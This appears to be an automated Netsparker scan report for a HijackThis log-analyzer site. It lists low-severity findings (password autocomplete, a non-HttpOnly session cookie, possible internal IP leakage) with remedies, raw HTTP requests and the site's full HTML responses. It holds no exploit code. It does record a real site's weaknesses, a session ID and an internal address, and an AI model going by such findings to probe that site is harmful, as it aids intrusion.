<img src='Images/Superhero.gif' width='40' height='40' alt='Superhero' />
&copy; SpyAndSeek 2007 &#8212; User-posted content, unless source quoted, <!--Creative Commons License--> is licensed under a <a rel='license' href='http://creativecommons.org/licenses/publicdomain/'>Creative Commons Public Domain License</a>.<!--/Creative Commons License--><!-- <rdf:RDF xmlns='http://web.resource.org/cc/' xmlns:dc='http://purl.org/dc/elements/1.1/' xmlns:rdf='http://www.w3.org/1999/02/22-rdf-syntax-ns#'>
<Work rdf:about=''>
<license rdf:resource='http://creativecommons.org/licenses/publicdomain/' />
<dc:title>spyandseek.com user contributed content</dc:title>
<dc:rights><Agent><dc:title>sas users</dc:title></Agent></dc:rights>
</Work>
<License rdf:about='http://creativecommons.org/licenses/publicdomain/'><permits rdf:resource='http://web.resource.org/cc/Reproduction'/><permits rdf:resource='http://web.resource.org/cc/Distribution'/><subClassOf xmlns='' rdf:resource='http://web.resource.org/cc/PublicDomain'/><permits rdf:resource='http://web.resource.org/cc/DerivativeWorks'/></License></rdf:RDF> -->

<br />

</div>
</div></div><script type="text/javascript">
var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");
document.write(unescape("%3Cscript src=' + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));
</script>
<script type="text/javascript">
try {
var pageTracker = _gat._getTracker("UA-10862430-1");
pageTracker._trackPageview();
} catch(err) {}</script>



</body>
</html>

Auto Complete Enabled

Auto Complete Enabled
1 TOTAL
LOW
CONFIRMED
1
"Auto Complete" was enabled in one or more of the form fields. These were either "password" fields or important fields such as "Credit Card".

Impact

Data entered in these fields will be cached by the browser. An attacker who can access the victim's browser could steal this information. This is especially important if the application is commonly used in shared computers such as cyber cafes or airport terminals.

Remedy

Add the attribute autocomplete="off" to the form tag or to individual "input" fields.

Actions to Take

  1. See the remedy for the solution.
  2. Find all instances of inputs which store private data and disable autocomplete. Fields which contain data such as "Credit Card" or "CCV" type data should not be cached. You can allow the application to cache usernames and remember passwords, however, in most cases this is not recommended.
  3. Re-scan the application after addressing the identified issues to ensure that all of the fixes have been applied properly.

Required Skills for Successful Exploitation

Dumping all data from a browser can be fairly easy and there exist a number of automated tools to undertake this. Where the attacker cannot dump the data, he/she could still browse the recently visited websites and activate the auto-complete feature to see previously entered values.

External References

- /login.php4

/login.php4 CONFIRMED

http://www.spyandseek.com/login.php4

Identified Field Name

form1_password

Request

GET /login.php4 HTTP/1.1
Referer: http://www.spyandseek.com/
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; en-us) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10
Cache-Control: no-cache
Host: www.spyandseek.com
Cookie: PHPSESSID=78dc515921c88469fd044ccae7fd588b
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Wed, 28 Sep 2011 16:08:23 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>Spy And Seek the HijackThis Log Analyzer</title>
<meta http-equiv='Content-Type' content='text/html; charset=ISO-8859-1' />
<META NAME='keywords' content='computer, Service, Hijack, Hijacker, HijackThis, Logfile, analysis, Malware, Spyware, Trojan,desktop,repair,maintenance,fix. '/>
<META NAME='description' content='SpyAndSeek.com || HijackThis On Line Log Analyzer.'/><META NAME='Title' CONTENT='HijackThis Logfile Analyzer'>
<style type='text/css' media='all'>@import 'CSS/global.css';</style>
<style type='text/css' media='all'>@import 'CSS/lightbox.css';</style>

<!--[if lte IE 6]><style type='text/css' media='all'>@import 'CSS/ie6.css';</style><![endif]-->
<!--[if gt IE 6]><style type='text/css' media='all'>@import 'CSS/ie7.css';</style><![endif]--><META NAME='REVISIT-AFTER' CONTENT='2 Days'><META NAME='Robots' CONTENT='INDEX,FOLLOW'><link rel='shortcut icon' ico = image/x-icon href='http://www.spyandseek.com/favicon.ico'><script type="text/javascript">
<!--
function errorMsg()
{
alert("Netscape 6 or Mozilla Firefox is needed to install a search plugin.");
}
function addEngine(name,ext,cat)
{
if ((typeof window.sidebar == "object") && (typeof
window.sidebar.addSearchEngine == "function"))
{
//cat="Web"; //cat=prompt('In what category should this engine be installed?','Web')window.sidebar.addSearchEngine(
"http://www.spyandseek.com/firefoxplugins/"+name+".src",
"http://www.spyandseek.com/firefoxplugins/"+name+"."+ext,
name,
cat );
}
else
{
errorMsg();
}
}
//-->
</script></HEAD><Body><script type="text/javascript" ><!-- function launchWindow(url, features) { window.open(url, "_blank", features);} // --> </script><div id='container'>
<div id='header'>
<h1><a href='index.php4'><img src='Images/Superhero.gif' width='32px' hight='32px'>SpyAndSeek</a></h1>
<div class='side-header'> <a href='login.php4' id='section-profile'>LogIn</a>
<form action='Search.php4' method='get' id='search' onsubmit='Search.php4' class='search-compact' >
<input type='hidden' name='search' value='search' /><input type='text' name='search_for' maxlength='254' id='top-keywords' value='Search...' onfocus=" if(this.value=='Search...')this.value=''; " onblur= " if(this.value=='')this.value='Search...'; " /> <input type='image' id='top-submit' src='Images/search.gif' alt='Search' />
</form>
</div>

<div id='header-primary' >
<div>

</div>

<ul>
<li class='header-all'><a href='index.php4' ><strong>Home</strong></a></li><li class='header-all'><a href='http://blog.spyandseek.com'><strong>Blog</strong></a></li>
<li class='header-all'><a href='login.php4'><strong>LogIn</strong></a></li>
<li class='header-all'><a href='store.php4'><strong>Store</strong></a></li>
<li class='header-allt'><a href='contact.php4'><strong>Contact Me</strong></a></li>
<li class='menu-container current'><a href='FAQ.php4'><strong>FAQ</strong></a></li>

</ul>
</div><div id='header-secondary'>
<ul>
<li ><a href='logja-vu.php4'><strong>Logja-vu</strong></a></li>
<li ><a href='newgood.php4'><strong>Good</strong></a></li>
<li ><a href='newbad.php4'><strong>Bad</strong></a></li>
<li ><a href='topunknown.php4'><strong>Unknown</strong></a></li>
</ul>
</div></div><div id='contents'><div id='wrapper'><div class='sidebar'>

<div class='side-container' style='display: none'>
<div class='side-options'></div>
</div>
<div class='side-container'><p class='first'>


</p>
</div>
<div class="side-container">
<script type="text/javascript"><!--
google_ad_client = "pub-1674685026599860";
/* 160x600, created 6/5/09 */
google_ad_slot = "3236620257";
google_ad_width = 160;
google_ad_height = 600;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
</div>
</div><div class='main'><div id='announce'><p>
Helpful Software:<img src='Images/Superhero.gif' width='10px' hight='10px'>
<a href='http://www.trendsecure.com/portal/en-US/tools/security_tools/hijackthis/download'> HijackThis </a><img src='Images/Superhero.gif' width='10px' hight='10px'>
<a href='store.php4?node=32&keywords=AVG%20Anti-Virus'> AVG Anti-Virus </a><img src='Images/Superhero.gif' width='10px' hight='10px'>
<a href='store.php4?node=32&keywords=MalwareBytes'> MalwareBytes </a><img src='Images/Superhero.gif' width='10px' hight='10px'> <a href="javascript:addEngine('SpyandSeek','png','Web')" title='Install 'SpyandSeek' Firefox Search Plugin'>Firefox Search Plugin</a><img src='Images/Superhero.gif' width='10px' hight='10px'>

<br>Suggested Reading:<img src='Images/Superhero.gif' width='10px' hight='10px'>
<a href='store.php4?node=69&keywords=Malware%20Analysis'> Malware Analysis </a><img src='Images/Superhero.gif' width='10px' hight='10px'>
<a href='store.php4?node=69&keywords=Malware%20Removal'> Malware Removal </a><img src='Images/Superhero.gif' width='10px' hight='10px'>
<a href='store.php4?node=69&keywords=steal%20this%20computer%20book'> PC Security Secrets </a><img src='Images/Superhero.gif' width='10px' hight='10px'>
</p>
</div><div class='entry-summary' id='enclosure0' style='z-index:995'>
<div class='entry-body'>
<TABLE width="90%" align="center"><TR><TD>

<P>If you have an account with us, please log in with your username and password:</P>

<FORM method="post" action="login.php4">
UserName :<br>
<INPUT type="text" name="form1_username" value="" size="40" maxlength="49"><br>
Password :<br>
<INPUT type="password" name="form1_password" value="" size="30" maxlength="30"><br>
<INPUT type="hidden" name="action" value="login">
<INPUT class='press' type="submit" value="Submit"> <INPUT class='press' type="reset">
</FORM>

<hr>

<p> You do not need an account to use this site. In fact you should be an expert
guru computer wizard if you sign up for an account. </p>
<P>If you do not have an account with us, and you feel you are up to the challenge please enter your email address in the box below.
We will send you a confirmation code and further instructions.</P>


<FORM method="post" action="login.php4">
UserName :<BR>
<INPUT type="text" name="form2_username" value="" size="40" maxlength="49"><br>
Email :<br>
<INPUT type="text" name="form2_email" value="" size="40" maxlength="49"><br>
Password :<br>
<INPUT type="password" name="form2_pass1" value="" size="30" maxlength="30"><br>
Re-enter your password :<br>
<INPUT type="password" name="form2_pass2" value="" size="30" maxlength="30"><br>
<INPUT type="hidden" name="action" value="new">
<INPUT class='press' type="submit" value="Submit">
</FORM>
</p>
</div>
</TD></TR></TABLE>
<!--"end tubular data here"--></div>
</div><!--"end main content here"--></div></div><br style='clear: both;' />

</div>

<div id='footer'>
<div class='footer-contents'><div class='footer-contents2'>
<div class='col'>
<dl class='col-prime'>
<dt>Site Links</dt>
<dd><a href='index.php4'>Home</a></dd>
<dd><a href='store.php4'>Store</a></dd>


<dd><a href='contact.php4'>Contact</a></dd>
<dd><a href='faq.php4'>FAQ</a></dd>
</dl>
</div>
<div class='col'>
<dl class='col-prime'>
<dt>Filters</dt>

<dd><a href='logja-vu.php4'>Logja-vu</a> </dd>
<dd><a href='newgood.php4'>Good</a></dd>
<dd><a href='newbad.php4'>Bad</a></dd>
<dd><a href='topunknown.php4'>Unknown</a></dd>
</dl>
</div>
<div class='col'>
<dl class='col-prime'>
<dt >Bloggs</dt>
<dd><a href='http://blog.spyandseek.com'>SpyandSeek</a> </dd>

<dd>
<a href='http://sunbeltblog.blogspot.com/'>Sun Belt</a> </dd>
</dl>
</div>
<div class='col-last'>
<div id='P_TownhallFooter' ><dl>

<dd></dd></dl>
</div>
</div></div></div>

<br style='clear: both;' />
</div>

<div class='copyright'><div>
<img src='Images/Superhero.gif' width='40' height='40' alt='Superhero' />
&copy; SpyAndSeek 2007 &#8212; User-posted content, unless source quoted, <!--Creative Commons License--> is licensed under a <a rel='license' href='http://creativecommons.org/licenses/publicdomain/'>Creative Commons Public Domain License</a>.<!--/Creative Commons License--><!-- <rdf:RDF xmlns='http://web.resource.org/cc/' xmlns:dc='http://purl.org/dc/elements/1.1/' xmlns:rdf='http://www.w3.org/1999/02/22-rdf-syntax-ns#'>
<Work rdf:about=''>
<license rdf:resource='http://creativecommons.org/licenses/publicdomain/' />
<dc:title>spyandseek.com user contributed content</dc:title>
<dc:rights><Agent><dc:title>sas users</dc:title></Agent></dc:rights>
</Work>
<License rdf:about='http://creativecommons.org/licenses/publicdomain/'><permits rdf:resource='http://web.resource.org/cc/Reproduction'/><permits rdf:resource='http://web.resource.org/cc/Distribution'/><subClassOf xmlns='' rdf:resource='http://web.resource.org/cc/PublicDomain'/><permits rdf:resource='http://web.resource.org/cc/DerivativeWorks'/></License></rdf:RDF> -->

<br />

</div>
</div></div><script type="text/javascript">
var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");
document.write(unescape("%3Cscript src=' + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));
</script>
<script type="text/javascript">
try {
var pageTracker = _gat._getTracker("UA-10862430-1");
pageTracker._trackPageview();
} catch(err) {}</script>



</body>
</html>

Cookie Not Marked As HttpOnly

Cookie Not Marked As HttpOnly
1 TOTAL
LOW
CONFIRMED
1
Cookie was not marked as HTTPOnly. HTTPOnly cookies can not be read by client-side scripts therefore marking a cookie as HTTPOnly can provide an additional layer of protection against Cross-site Scripting attacks..

Impact

During a Cross-site Scripting attack an attacker might easily access cookies and hijack the victim's session.

Actions to Take

  1. See the remedy for solution
  2. Consider marking all of the cookies used by the application as HTTPOnly (After these changes javascript code will not able to read cookies.

Remedy

Mark the cookie as HTTPOnly. This will be an extra layer of defence against XSS. However this is not a silver bullet and will not protect the system against Cross-site Scripting attacks. An attacker can use a tool such as XSS Tunnel to bypass HTTPOnly protection.

External References

Classification

OWASP A6 PCI v2.0-6.5.4 CWE-16 WASC-15
- /

/ CONFIRMED

http://www.spyandseek.com/

Identified Cookie

PHPSESSID

Request

GET / HTTP/1.1
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; en-us) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10
Cache-Control: no-cache
Host: www.spyandseek.com
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Wed, 28 Sep 2011 16:08:23 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: PHPSESSID=06203e1dac1900fd5fb9a0c8b2ff6e1d; path=/
Transfer-Encoding: chunked
Content-Type: text/html


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>Spy And Seek the HijackThis Log Analyzer</title>
<meta http-equiv='Content-Type' content='text/html; charset=ISO-8859-1' />
<META NAME='keywords' content='computer, Service, Hijack, Hijacker, HijackThis, Logfile, analysis, Malware, Spyware, Trojan,desktop,repair,maintenance,fix. '/>
<META NAME='description' content='SpyAndSeek.com || HijackThis On Line Log Analyzer.'/><META NAME='Title' CONTENT='HijackThis Logfile Analyzer'>
<style type='text/css' media='all'>@import 'CSS/global.css';</style>
<style type='text/css' media='all'>@import 'CSS/lightbox.css';</style>

<!--[if lte IE 6]><style type='text/css' media='all'>@import 'CSS/ie6.css';</style><![endif]-->
<!--[if gt IE 6]><style type='text/css' media='all'>@import 'CSS/ie7.css';</style><![endif]--><META NAME='REVISIT-AFTER' CONTENT='2 Days'><META NAME='Robots' CONTENT='INDEX,FOLLOW'><link rel='shortcut icon' ico = image/x-icon href='http://www.spyandseek.com/favicon.ico'><script type="text/javascript">
<!--
function errorMsg()
{
alert("Netscape 6 or Mozilla Firefox is needed to install a search plugin.");
}
function addEngine(name,ext,cat)
{
if ((typeof window.sidebar == "object") && (typeof
window.sidebar.addSearchEngine == "function"))
{
//cat="Web"; //cat=prompt('In what category should this engine be installed?','Web')window.sidebar.addSearchEngine(
"http://www.spyandseek.com/firefoxplugins/"+name+".src",
"http://www.spyandseek.com/firefoxplugins/"+name+"."+ext,
name,
cat );
}
else
{
errorMsg();
}
}
//-->
</script></HEAD><Body><script type="text/javascript" ><!-- function launchWindow(url, features) { window.open(url, "_blank", features);} // --> </script><div id='container'>
<div id='header'>
<h1><a href='index.php4'><img src='Images/Superhero.gif' width='32px' hight='32px'>SpyAndSeek</a></h1>
<div class='side-header'> <a href='login.php4' id='section-profile'>LogIn</a>
<form action='Search.php4' method='get' id='search' onsubmit='Search.php4' class='search-compact' >
<input type='hidden' name='search' value='search' /><input type='text' name='search_for' maxlength='254' id='top-keywords' value='Search...' onfocus=" if(this.value=='Search...')this.value=''; " onblur= " if(this.value=='')this.value='Search...'; " /> <input type='image' id='top-submit' src='Images/search.gif' alt='Search' />
</form>
</div>

<div id='header-primary' >
<div>

</div>

<ul>
<li class='header-all'><a href='index.php4' ><strong>Home</strong></a></li><li class='header-all'><a href='http://blog.spyandseek.com'><strong>Blog</strong></a></li>
<li class='header-all'><a href='login.php4'><strong>LogIn</strong></a></li>
<li class='header-all'><a href='store.php4'><strong>Store</strong></a></li>
<li class='header-allt'><a href='contact.php4'><strong>Contact Me</strong></a></li>
<li class='menu-container current'><a href='FAQ.php4'><strong>FAQ</strong></a></li>

</ul>
</div><div id='header-secondary'>
<ul>
<li ><a href='logja-vu.php4'><strong>Logja-vu</strong></a></li>
<li ><a href='newgood.php4'><strong>Good</strong></a></li>
<li ><a href='newbad.php4'><strong>Bad</strong></a></li>
<li ><a href='topunknown.php4'><strong>Unknown</strong></a></li>
</ul>
</div></div><div id='contents'><div id='wrapper'><div class='sidebar'>

<div class='side-container' style='display: none'>
<div class='side-options'></div>
</div>
<div class='side-container'><p class='first'>


</p>
</div>
<div class="side-container">
<script type="text/javascript"><!--
google_ad_client = "pub-1674685026599860";
/* 160x600, created 6/5/09 */
google_ad_slot = "3236620257";
google_ad_width = 160;
google_ad_height = 600;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
</div>
</div><div class='main'><div id='announce'><p>
Helpful Software:<img src='Images/Superhero.gif' width='10px' hight='10px'>
<a href='http://www.trendsecure.com/portal/en-US/tools/security_tools/hijackthis/download'> HijackThis </a><img src='Images/Superhero.gif' width='10px' hight='10px'>
<a href='store.php4?node=32&keywords=AVG%20Anti-Virus'> AVG Anti-Virus </a><img src='Images/Superhero.gif' width='10px' hight='10px'>
<a href='store.php4?node=32&keywords=MalwareBytes'> MalwareBytes </a><img src='Images/Superhero.gif' width='10px' hight='10px'> <a href="javascript:addEngine('SpyandSeek','png','Web')" title='Install 'SpyandSeek' Firefox Search Plugin'>Firefox Search Plugin</a><img src='Images/Superhero.gif' width='10px' hight='10px'>

<br>Suggested Reading:<img src='Images/Superhero.gif' width='10px' hight='10px'>
<a href='store.php4?node=69&keywords=Malware%20Analysis'> Malware Analysis </a><img src='Images/Superhero.gif' width='10px' hight='10px'>
<a href='store.php4?node=69&keywords=Malware%20Removal'> Malware Removal </a><img src='Images/Superhero.gif' width='10px' hight='10px'>
<a href='store.php4?node=69&keywords=steal%20this%20computer%20book'> PC Security Secrets </a><img src='Images/Superhero.gif' width='10px' hight='10px'>
</p>
</div><div class='entry-summary' id='enclosure0' style='z-index:995'>
<div class='entry-body'>
<form action="Analize.php4" method="post" enctype="multipart/form-data">
<div><p align=center>
<strong>Browse to a HijackThis logfile on your computer. <br >Then Press the Analyze
button.</strong><br > <br >
<input name="userfile" type="file" id="userfile" size="45" />
<!-- MAX_FILE_SIZE must precede the file input field -->
<input type="hidden" name="MAX_FILE_SIZE" value="102400" />

<br />
<input class='press' name="upload" type="submit" id="upload" value="Analyze" /><br>
</p><BR><BR> </div>
</form>
</div></div><div class='entry-summary' id='enclosure0' style='z-index:995'>
<div class='entry-body'>

<table class='maintable'><tr><th scope='col' align='center' >DataBase Summary</th></tr><tr align='center'><td>There are a total of <b>19,561</b> Entries classified as <b>BAD</b> in our Database.</td><tr><tr class='odd' align='center'><td>There are a total of <b>221,074</b> Entries classified as <b>UNKNOWN</b> in our Database.</td></tr><tr align='center'><td>There are a total of <b>100,143</b> Entries classified as <b>GOOD</b> in our Database.</td></tr><tr class='odd' align='center'><td>Remember to SAS in our <a href='newgood.php4' >Good</a> , <a href='newbad.php4' >Bad</a> and <a href='topunknown.php4' >Unknown</a></td></tr><tr><th scope='col' align='center' >5 Newest Bad Entries</th></tr><tr><td>O2 - BHO: BitTorrentBar -<wbr>{88c7f2aa-f93f-432c-8f0e-b7d85967a527} -<wbr>C:\Program Files\BitTorrentBar\prxtbBit0.dll </td></tr><tr class='odd'><td>O3 - Toolbar: BitTorrentBar Toolbar -<wbr>{88c7f2aa-f93f-432c-8f0e-b7d85967a527} -<wbr>C:\Program Files\BitTorrentBar\prxtbBit0.dll </td></tr><tr><td>O3 - Toolbar: (no name) -<wbr>!{9D425283-D487-4337-BAB6-AB8354A81457} - (no<wbr>file) </td></tr><tr class='odd'><td>O3 - Toolbar: GamesBar -<wbr>{6F282B65-56BF-4BD1-A8B2-A4449A05863D} -<wbr>C:\Program Files<wbr>(x86)\GamesBar\2.0.1.82\oberontb.dll </td></tr><tr><td>O9 - Extra button: (no name) -<wbr>{1A93C934-025B-4c3a-B38E-9654A7003239} -<wbr>C:\Program Files<wbr>(x86)\GamesBar\2.0.1.82\oberontb.dll </td></tr></table><!--"end tubular data here"--></div>
</div><!--"end main content here"--></div></div><br style='clear: both;' />

</div>

<div id='footer'>
<div class='footer-contents'><div class='footer-contents2'>
<div class='col'>
<dl class='col-prime'>
<dt>Site Links</dt>
<dd><a href='index.php4'>Home</a></dd>
<dd><a href='store.php4'>Store</a></dd>


<dd><a href='contact.php4'>Contact</a></dd>
<dd><a href='faq.php4'>FAQ</a></dd>
</dl>
</div>
<div class='col'>
<dl class='col-prime'>
<dt>Filters</dt>

<dd><a href='logja-vu.php4'>Logja-vu</a> </dd>
<dd><a href='newgood.php4'>Good</a></dd>
<dd><a href='newbad.php4'>Bad</a></dd>
<dd><a href='topunknown.php4'>Unknown</a></dd>
</dl>
</div>
<div class='col'>
<dl class='col-prime'>
<dt >Bloggs</dt>
<dd><a href='http://blog.spyandseek.com'>SpyandSeek</a> </dd>

<dd>
<a href='http://sunbeltblog.blogspot.com/'>Sun Belt</a> </dd>
</dl>
</div>
<div class='col-last'>
<div id='P_TownhallFooter' ><dl>

<dd></dd></dl>
</div>
</div></div></div>

<br style='clear: both;' />
</div>

<div class='copyright'><div>
<img src='Images/Superhero.gif' width='40' height='40' alt='Superhero' />
&copy; SpyAndSeek 2007 &#8212; User-posted content, unless source quoted, <!--Creative Commons License--> is licensed under a <a rel='license' href='http://creativecommons.org/licenses/publicdomain/'>Creative Commons Public Domain License</a>.<!--/Creative Commons License--><!-- <rdf:RDF xmlns='http://web.resource.org/cc/' xmlns:dc='http://purl.org/dc/elements/1.1/' xmlns:rdf='http://www.w3.org/1999/02/22-rdf-syntax-ns#'>
<Work rdf:about=''>
<license rdf:resource='http://creativecommons.org/licenses/publicdomain/' />
<dc:title>spyandseek.com user contributed content</dc:title>
<dc:rights><Agent><dc:title>sas users</dc:title></Agent></dc:rights>
</Work>
<License rdf:about='http://creativecommons.org/licenses/publicdomain/'><permits rdf:resource='http://web.resource.org/cc/Reproduction'/><permits rdf:resource='http://web.resource.org/cc/Distribution'/><subClassOf xmlns='' rdf:resource='http://web.resource.org/cc/PublicDomain'/><permits rdf:resource='http://web.resource.org/cc/DerivativeWorks'/></License></rdf:RDF> -->

<br />

</div>
</div></div><script type="text/javascript">
var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");
document.write(unescape("%3Cscript src=' + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));
</script>
<script type="text/javascript">
try {
var pageTracker = _gat._getTracker("UA-10862430-1");
pageTracker._trackPageview();
} catch(err) {}</script>



</body>
</html>

[Possible] Internal IP Address Leakage

[Possible] Internal IP Address Leakage
1 TOTAL
LOW
Netsparker discovered an internal IP address in the page. It was not determined if the IP address was that of the system itself or that of an internal network.

Impact

This kind of information can be useful for an attacker when combined with other vulnerabilities.

Remedy

First ensure that this is not a false positive. Due to the nature of the issue. Netsparker could not confirm that this IP address was actually the real internal IP address of the target web server or internal network. If it is then consider removing it.

Classification

PCI v1.2-6.5.6 CWE-200 CAPEC-118 WASC-13
- /Search.php4

/Search.php4

http://www.spyandseek.com/Search.php4?search_for=%7BE06E2E99-0AA1-11D4-ABA6-0060082AA75C%7D

Extracted IP Address(es)

10.1.1.39

Request

GET /Search.php4?search_for=%7BE06E2E99-0AA1-11D4-ABA6-0060082AA75C%7D HTTP/1.1
Referer: http://www.spyandseek.com/newgood.php4
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; en-us) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10
Cache-Control: no-cache
Host: www.spyandseek.com
Cookie: PHPSESSID=78dc515921c88469fd044ccae7fd588b
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Wed, 28 Sep 2011 16:08:53 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>Spy And Seek the HijackThis Log Analyzer</title>
<meta http-equiv='Content-Type' content='text/html; charset=ISO-8859-1' />
<META NAME='keywords' content='computer, Service, Hijack, Hijacker, HijackThis, Logfile, analysis, Malware, Spyware, Trojan,desktop,repair,maintenance,fix. '/>
<META NAME='description' content='SpyAndSeek.com || HijackThis On Line Log Analyzer.'/><META NAME='Title' CONTENT='HijackThis Logfile Analyzer'>
<style type='text/css' media='all'>@import 'CSS/global.css';</style>
<style type='text/css' media='all'>@import 'CSS/lightbox.css';</style>

<!--[if lte IE 6]><style type='text/css' media='all'>@import 'CSS/ie6.css';</style><![endif]-->
<!--[if gt IE 6]><style type='text/css' media='all'>@import 'CSS/ie7.css';</style><![endif]--><META NAME='REVISIT-AFTER' CONTENT='2 Days'><META NAME='Robots' CONTENT='INDEX,FOLLOW'><link rel='shortcut icon' ico = image/x-icon href='http://www.spyandseek.com/favicon.ico'><script type="text/javascript">
<!--
function errorMsg()
{
alert("Netscape 6 or Mozilla Firefox is needed to install a search plugin.");
}
function addEngine(name,ext,cat)
{
if ((typeof window.sidebar == "object") && (typeof
window.sidebar.addSearchEngine == "function"))
{
//cat="Web"; //cat=prompt('In what category should this engine be installed?','Web')window.sidebar.addSearchEngine(
"http://www.spyandseek.com/firefoxplugins/"+name+".src",
"http://www.spyandseek.com/firefoxplugins/"+name+"."+ext,
name,
cat );
}
else
{
errorMsg();
}
}
//-->
</script></HEAD><Body><script type="text/javascript" ><!-- function launchWindow(url, features) { window.open(url, "_blank", features);} // --> </script><div id='container'>
<div id='header'>
<h1><a href='index.php4'><img src='Images/Superhero.gif' width='32px' hight='32px'>SpyAndSeek</a></h1>
<div class='side-header'> <a href='login.php4' id='section-profile'>LogIn</a>
<form action='Search.php4' method='get' id='search' onsubmit='Search.php4' class='search-compact' >
<input type='hidden' name='search' value='search' /><input type='text' name='search_for' maxlength='254' id='top-keywords' value='Search...' onfocus=" if(this.value=='Search...')this.value=''; " onblur= " if(this.value=='')this.value='Search...'; " /> <input type='image' id='top-submit' src='Images/search.gif' alt='Search' />
</form>
</div>

<div id='header-primary' >
<div>

</div>

<ul>
<li class='header-all'><a href='index.php4' ><strong>Home</strong></a></li><li class='header-all'><a href='http://blog.spyandseek.com'><strong>Blog</strong></a></li>
<li class='header-all'><a href='login.php4'><strong>LogIn</strong></a></li>
<li class='header-all'><a href='store.php4'><strong>Store</strong></a></li>
<li class='header-allt'><a href='contact.php4'><strong>Contact Me</strong></a></li>
<li class='menu-container current'><a href='FAQ.php4'><strong>FAQ</strong></a></li>

</ul>
</div><div id='header-secondary'>
<ul>
<li ><a href='logja-vu.php4'><strong>Logja-vu</strong></a></li>
<li ><a href='newgood.php4'><strong>Good</strong></a></li>
<li ><a href='newbad.php4'><strong>Bad</strong></a></li>
<li ><a href='topunknown.php4'><strong>Unknown</strong></a></li>
</ul>
</div></div><div id='contents'><div id='wrapper'><div class='sidebar'>

<div class='side-container' style='display: none'>
<div class='side-options'></div>
</div>
<div class='side-container'><p class='first'>


</p>
</div>
<div class="side-container">
<script type="text/javascript"><!--
google_ad_client = "pub-1674685026599860";
/* 160x600, created 6/5/09 */
google_ad_slot = "3236620257";
google_ad_width = 160;
google_ad_height = 600;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
</div>
</div><div class='main'><div id='announce'><p>
Helpful Software:<img src='Images/Superhero.gif' width='10px' hight='10px'>
<a href='http://www.trendsecure.com/portal/en-US/tools/security_tools/hijackthis/download'> HijackThis </a><img src='Images/Superhero.gif' width='10px' hight='10px'>
<a href='store.php4?node=32&keywords=AVG%20Anti-Virus'> AVG Anti-Virus </a><img src='Images/Superhero.gif' width='10px' hight='10px'>
<a href='store.php4?node=32&keywords=MalwareBytes'> MalwareBytes </a><img src='Images/Superhero.gif' width='10px' hight='10px'> <a href="javascript:addEngine('SpyandSeek','png','Web')" title='Install 'SpyandSeek' Firefox Search Plugin'>Firefox Search Plugin</a><img src='Images/Superhero.gif' width='10px' hight='10px'>

<br>Suggested Reading:<img src='Images/Superhero.gif' width='10px' hight='10px'>
<a href='store.php4?node=69&keywords=Malware%20Analysis'> Malware Analysis </a><img src='Images/Superhero.gif' width='10px' hight='10px'>
<a href='store.php4?node=69&keywords=Malware%20Removal'> Malware Removal </a><img src='Images/Superhero.gif' width='10px' hight='10px'>
<a href='store.php4?node=69&keywords=steal%20this%20computer%20book'> PC Security Secrets </a><img src='Images/Superhero.gif' width='10px' hight='10px'>
</p>
</div><div class='entry-summary' id='enclosure0' style='z-index:995'>
<div class='entry-body'><br><div align='center'><p><strong>SAS Database Search.</strong><br > <form action='Search.php4' method='get' > <INPUT type='text' name='search_for' size='60' maxlength='254' value='{E06E2E99-0AA1-11D4-ABA6-0060082AA75C}'><br><input class='press' name='search' type='submit' value='SAS-Search' > Use Pattern Search <input type='checkbox' name='patternM' value='true' /><br></p> </form></div> <br> <br>
<div align='center'><p><a href='http://www.google.com/'><strong>Google Web Search.</strong></a>
<form method='get' action='http://www.google.com/custom' target='_blank'>

